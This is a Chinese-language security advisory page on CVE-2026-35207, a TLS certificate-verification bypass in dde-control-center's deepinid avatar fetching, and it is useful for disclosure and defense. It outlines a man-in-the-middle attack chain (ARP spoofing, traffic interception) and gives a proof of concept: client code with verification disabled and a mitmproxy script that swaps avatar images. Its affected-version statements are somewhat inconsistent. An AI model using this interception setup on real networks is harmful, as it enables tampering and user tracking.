IPBUF安全漏洞报告
English
CVE-2026-35207 CVSS 5.4 中危

CVE-2026-35207 dde-control-center TLS证书验证绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35207
漏洞类型
证书验证绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
dde-control-center

相关标签

证书验证绕过中间人攻击dde-control-centerDeepinCWE-295

漏洞概述

dde-control-center是深度桌面环境的控制面板组件。其包含的plugin-deepinid插件用于提供deepinid云服务功能。在6.1.80及之前的版本中,该插件在从openapi.deepin.com或其他服务提供商获取用户头像时,错误地配置了跳过TLS证书验证。这一缺陷导致攻击者可以在网络传输过程中拦截流量,将用户头像替换为恶意图片,或通过分析流量识别用户身份,存在安全风险。

技术细节

该漏洞源于plugin-deepinid插件在实现网络请求时,未强制执行TLS证书的有效性验证。通常,HTTPS通信通过验证服务器证书来确保通信双方的身份可信,防止数据被篡改。然而,受影响版本的代码在发起请求时禁用了这一检查(例如在Python requests中设置verify=False)。这使得应用极易受到中间人(MITM)攻击。攻击者若能控制受害者的网络路由或处于同一局域网,即可通过ARP欺骗等方式拦截客户端与头像服务器之间的HTTPS流量。由于客户端不校验证书,攻击者可以使用自签名证书解密流量,并注入伪造的恶意图像响应数据,从而破坏数据的完整性,并可能泄露用户隐私信息。

攻击链分析

STEP 1
侦察
攻击者确认目标用户使用的是存在漏洞的dde-control-center版本(< 6.1.80),并定位目标网络位置。
STEP 2
中间人定位
攻击者通过ARP欺骗、DNS劫持或控制恶意接入点,将自己置于受害者的网络流量路径上。
STEP 3
流量拦截
当受害者的dde-control-center尝试从服务器获取头像时,攻击者拦截HTTPS请求。由于客户端不验证证书,攻击者使用自签名证书建立连接。
STEP 4
数据篡改
攻击者向受害者返回伪造的HTTP响应,将原本的头像图片替换为恶意图片或误导性内容。
STEP 5
信息收集
攻击者分析拦截到的流量,可能识别出特定用户的身份信息或追踪用户活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: Demonstrating the vulnerability logic (Client Side) # This script simulates how the vulnerable client requests the avatar. import requests # Vulnerable configuration: verify=False skips TLS certificate verification def get_avatar_vulnerable(url): try: # The vulnerability lies here: SSL verification is disabled response = requests.get(url, verify=False, timeout=5) print(f"[*] Status: {response.status_code}") print(f"[*] Content Type: {response.headers.get('Content-Type')}") # In a real attack scenario, this content could be replaced by an attacker return response.content except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "https://openapi.deepin.com/avatar/user_id" print(f"[*] Requesting avatar from {target_url} without certificate verification...") get_avatar_vulnerable(target_url) # PoC Concept: MITM Attack Setup (Attacker Side) # Tools like mitmproxy can be used to intercept and modify traffic. # Example command to run mitmproxy: # mitmproxy --ignore-hosts '.*' -s modify_avatar.py # modify_avatar.py script content: """ from mitmproxy import http def request(flow: http.HTTPFlow) -> None: # Log the request print(f"[MITM] Intercepting request to: {flow.request.pretty_host}") def response(flow: http.HTTPFlow) -> None: # Check if the request is for an avatar if "avatar" in flow.request.path: print("[MITM] Replacing avatar content with malicious image...") # Replace the response content with a local malicious image with open("malicious_avatar.png", "rb") as f: flow.response.content = f.read() flow.response.headers["Content-Length"] = str(len(flow.response.content)) """

影响范围

dde-control-center < 6.1.80
dde-control-center < 5.9.9

防御指南

临时缓解措施
如果无法立即更新软件,用户应确保在可信的网络环境中使用Deepin桌面环境,避免在公共网络环境下登录云服务,以降低遭受中间人攻击的风险。同时,网络管理员应加强局域网内的ARP防御和监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表